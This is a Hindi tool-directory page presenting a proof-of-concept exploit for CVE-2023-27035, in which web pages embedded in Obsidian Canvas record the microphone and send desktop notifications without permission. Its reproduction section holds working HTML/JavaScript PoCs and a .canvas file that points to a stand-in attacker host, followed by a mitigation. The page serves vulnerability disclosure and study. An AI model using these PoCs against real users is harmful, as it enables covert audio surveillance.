Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-27035 — Obsidian Canvas में एम्बेडेड वेब पेजों के माध्यम से अनधिकृत माइक्रोफोन रिकॉर्डिंग और डेस्कटॉप सूचना दुरुपयोग को प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो इलेक्ट्रॉन अनुमति अनुरोध हैंडलिंग की कमी को उजागर करता है। | Kitploit
उपकरण/GitHubGitHub/fivex3/cve-2023-27035
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणगोपनीयतालर्निंग और शिक्षा
GitHubfivex3/cve-2023-27035

CVE-2023-27035

Obsidian Canvas में एम्बेडेड वेब पेजों के माध्यम से अनधिकृत माइक्रोफोन रिकॉर्डिंग और डेस्कटॉप सूचना दुरुपयोग को प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो इलेक्ट्रॉन अनुमति अनुरोध हैंडलिंग की कमी को उजागर करता है।

रिपॉजिटरी देखें
13 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

भेद्यता प्रकार:

गलत पहुँच नियंत्रण

विवरण:

Obsidian Canvas 1.1.9 में पाया गया एक मुद्दा जो दूरस्थ हमलावरों को कैनवास पेज पर एम्बेडेड वेबसाइट के माध्यम से डेस्कटॉप सूचनाएं भेजने, उपयोगकर्ता के ऑडियो को रिकॉर्ड करने और अन्य अनिर्दिष्ट प्रभाव डालने की अनुमति देता है।

प्रभाव:

दुर्भावनापूर्ण एम्बेडेड वेबसाइटें उपयोगकर्ता की अनुमति और जानकारी के बिना Obsidian एप्लिकेशन में संवेदनशील WEB API तक पहुंच सकती हैं। उदाहरण के लिए, वे उपयोगकर्ता की जानकारी या स्पष्ट अनुमति प्रदान किए बिना, चुपचाप उपयोगकर्ता के माइक्रोफ़ोन को रिकॉर्ड कर सकती हैं या Obsidian एप्लिकेशन की ओर से डेस्कटॉप सूचनाएं भेज सकती हैं।

इस समस्या का मूल कारण एप्लिकेशन में सत्र अनुमति अनुरोध हैंडलर की अनुपस्थिति है।

प्रभावित उत्पाद:

  • Obsidian (Canvas सुविधा)

प्रभावित संस्करण:

  • 1.1.9 < 1.1.14

पुनरुत्पादन के चरण:

  1. निम्नलिखित सामग्री के साथ एक HTML फ़ाइल बनाएं और होस्ट करें (पृष्ठ माइक्रोफ़ोन से 5 सेकंड का ऑडियो रिकॉर्ड करेगा और फिर उसे चलाएगा)।
root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>
  1. एक खाली कैनवास बनाएं और “Add web page” दबाएं, poc1.html का लिंक डालें या निम्नलिखित .canvas फ़ाइल बनाएं (url पैरामीटर सर्वर पर हमारे पेज की ओर इशारा कर रहा है):
root@kitploit:~
{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}
  1. Obsidian में कैनवास फ़ाइल खोलें। रिकॉर्डिंग तुरंत शुरू हो जाएगी, 5 सेकंड के बाद इसे चलाया जाएगा।

सूचनाएं PoC:

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

शमन:

एम्बेडेड पृष्ठों से अनुमति अनुरोधों को संभालने के लिए Electron Session Permission Request हैंडलर लागू करें। वेब API तक पहुंच स्पष्ट रूप से उपयोगकर्ता द्वारा दी जानी चाहिए या डिफ़ॉल्ट रूप से अस्वीकार की जानी चाहिए।

संदर्भ:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27035
  • https://forum.obsidian.md/t/embedded-web-pages-in-obsidian-canvas-can-use-sensitive-web-apis-without-the-users-permission-grant/54509
  • https://forum.obsidian.md/t/obsidian-release-v1-1-14-insider-build/54595
  • https://www.electronjs.org/docs/latest/api/session#sessetpermissionrequesthandlerhandler
टूल डाउनलोड करें